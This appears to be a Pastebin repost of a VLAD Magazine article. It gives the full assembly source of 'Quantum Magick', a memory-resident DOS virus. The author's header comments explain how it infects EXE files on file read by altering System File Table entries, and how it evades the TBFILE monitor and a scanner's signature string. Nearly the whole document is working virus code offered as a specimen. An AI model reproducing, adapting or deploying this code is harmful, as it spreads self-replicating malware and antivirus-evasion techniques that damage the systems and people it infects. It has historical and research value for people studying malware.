Advertisement
FlyFar

VLAD Magazine - Issue #3 - ARTICLE.4_6 - Quantum Magick

Jun 29th, 2023
1,270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 6.37 KB | Cybersecurity | 0 0
  1. ; Quantum Magick, a laboratory specimen by Rhincewind [Vlad]
  2. ;
  3. ; This is a bit of my older work. Quantum Magick demonstrates the use of
  4. ; SFT's to infect programs on file read, which happens to circumvent
  5. ; tbfile if it was the command interpreter that originally opened the file.
  6. ;
  7. ; Some of the code in here has high embarrassment potential, such as the
  8. ; kludgey fragment used to avoid the Darth Vader scanstring and heuristics,
  9. ; not to mention the use of the jumps directive. Ouch.
  10. ;
  11. ; The more-than-necessary use of memory pushes and pops and exchanges
  12. ; involving the memory banks are just because I felt like it.
  13. ;
  14. ; And that's that.
  15.  
  16.                 .model tiny
  17.                 .code
  18.                 jumps
  19.                 org 0h
  20.  
  21. start:
  22.                 push ds
  23.                 push es
  24. installation_check:
  25.                 mov ah, 30h
  26.                 int 21h
  27.                 cmp bh,30h
  28.                 jz no_install
  29.                 cmp al,3
  30.                 jb no_install
  31. allocate_memory:
  32.                 push es
  33.                 pop ax
  34.                 dec ax
  35.                 push ax
  36.                 pop ds
  37.                 xor si,si
  38.                 lodsb
  39.                 xor al, 'Z'
  40.                 jnz abort_install
  41.                 add word ptr ds:[si+2], -parasize
  42.                 add word ptr ds:[si+11h], -parasize
  43. copy_code:
  44.                 mov es, word ptr ds:[si+11h]
  45.                 push cs
  46.                 call next
  47. next:
  48.                 pop si
  49.                 pop ds
  50.                 sub si, offset (next-start)
  51.                 mov cx, (endvirus-start)
  52.                 xor di,di
  53.                 rep movsb
  54. hook_int:                
  55.                 push cx
  56.                 pop ds
  57.                 cli
  58.                 mov ax, offset handler
  59.                 xchg ax, word ptr ds:[84h]
  60.                 stosw
  61.                 mov ax,es
  62.                 xchg ax, word ptr ds:[86h]
  63.                 stosw
  64.                 sti
  65. abort_install:
  66. no_install:
  67.                 pop es
  68.                 pop ds
  69.                 mov bx,ds
  70.                 add bx,10h
  71.                 call next2
  72. next2:
  73.                 pop si
  74.                 add bx, word ptr cs:[si+(_cs-next2)]
  75.                 push bx
  76.                 push word ptr cs:[si+(_ip-next2)]
  77.                 xor ax,ax
  78.                 xor bx,bx
  79.                 xor cx,cx
  80.                 xor dx,dx
  81.                 xor si,si
  82.                 xor di,di
  83.                 retf
  84. handler:
  85.                 cmp ah, 3fh
  86.                 jz viruzz
  87.                 cmp ah, 30h
  88.                 jnz no_chk
  89.                 push ax
  90.                 call call_int21
  91.                 pop bx
  92.                 retf 2
  93.  
  94. plate           db 'Quantum Magick'
  95.  
  96. no_chk:
  97.                 jmp dword ptr cs:int21offset
  98. viruzz:
  99.                 cmp bl,5
  100.                 jb no_chk
  101.                 call call_int21
  102.                 pushf
  103.                 cmp ax, 18h
  104.                 jb not_enough_bytes_read
  105.                 push si
  106.                 push ax
  107.                 push cx
  108.                 push dx
  109.                 push di
  110.                 push ds
  111.                 push bx
  112.                 push ax
  113. get_sft_address:
  114.                 mov si, 1220h
  115.                 xchg si,ax
  116.                 int 2fh
  117.                 mov si, 1216h
  118.                 mov bl, byte ptr es:[di]
  119.                 xchg si,ax
  120.                 int 2fh
  121.                 xor si,si
  122.                 pop ax
  123.                 mov bx,dx
  124.                 xchg ax,cx
  125.                 call getlen
  126.                 sub ax, cx
  127.                 jnz no_start_read
  128.                 sbb dx, ax
  129.                 jnz no_start_read
  130. start_read:
  131.                 mov ax, 'ZM'
  132.                 xor ax, word ptr ds:[bx]
  133.                 jnz exit_read
  134.                 cmp word ptr ds:[bx+18h], 40h
  135.                 jz exit_read
  136.                 cmp word ptr ds:[bx+1ah],si
  137.                 jnz exit_read
  138.                 cmp word ptr ds:[bx+0ch],si
  139.                 jz exit_read
  140.                 call getlen
  141.                 mov cx, 10h                     ;Filesize div 16.
  142.                 div cx
  143.                 sub ax, word ptr ds:[bx+8]
  144.                 xchg word ptr ds:[bx+14h], dx    ;=CS:IP pair..
  145.                 xchg word ptr ds:[bx+16h], ax
  146.                 mov cs:_cs,ax
  147.                 mov cs:_ip,dx
  148.                 mov cl,5
  149.                 shr ax,cl
  150.                 neg ax
  151.                 add ax, word ptr ds:[bx+4]
  152.                 cmp al,5
  153.                 jb exit_read
  154.                 call getlen
  155.                 add ax, (endvirus-start)
  156.                 adc dx, si
  157.                 mov cx, 200h
  158.                 div cx
  159.                 or dx,dx
  160.                 jz no_hiccup
  161.                 inc ax
  162. no_hiccup:
  163.                 mov word ptr ds:[bx+4],ax
  164.                 mov word ptr ds:[bx+2],dx
  165. endcalc:
  166.                 mov dx,bx
  167.                 pop bx
  168.                 push word ptr es:[di+2]
  169.                 push word ptr es:[di+15h]
  170.                 push word ptr es:[di+17h]
  171.                 mov byte ptr es:[di+2],2
  172.                 mov word ptr es:[di+15h], 2
  173.                 mov word ptr es:[di+17h], si
  174.                 mov ah, 40h
  175.                 mov cx, 18h
  176.                 inc dx
  177.                 inc dx
  178.                 int 21h
  179.                 call getlen
  180.                 mov word ptr es:[di+15h], ax
  181.                 mov word ptr es:[di+17h], dx
  182.                 mov ah, 40h
  183.                 push cs
  184.                 pop ds
  185.                 mov cx, (endvirus-start)
  186.                 xor dx,dx
  187.                 int 21h
  188.                 pop word ptr es:[di+17h]
  189.                 pop word ptr es:[di+15h]
  190.                 pop word ptr es:[di+2]
  191.                 jmp after_file_access
  192. no_start_read:
  193. exit_read:
  194.                 pop bx
  195. after_file_access:
  196.                 pop ds
  197.                 pop di
  198.                 pop dx
  199.                 pop cx
  200.                 pop ax
  201.                 pop si
  202. not_enough_bytes_read:                
  203.                 popf
  204.                 retf 2
  205. getlen:
  206.                 mov ax, word ptr es:[di+11h]
  207.                 mov dx, word ptr es:[di+13h]
  208.                 ret
  209. _cs             dw 0fff0h
  210. _ip             dw 0
  211. call_int21:
  212.                 pushf
  213.                 call dword ptr cs:int21offset
  214.                 ret
  215. endvirus:
  216. int21offset     dw ?
  217. int21seg        dw ?
  218. parasize        equ ((endvirus-start)/16)+2
  219.                
  220.                 end start
Tags: virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement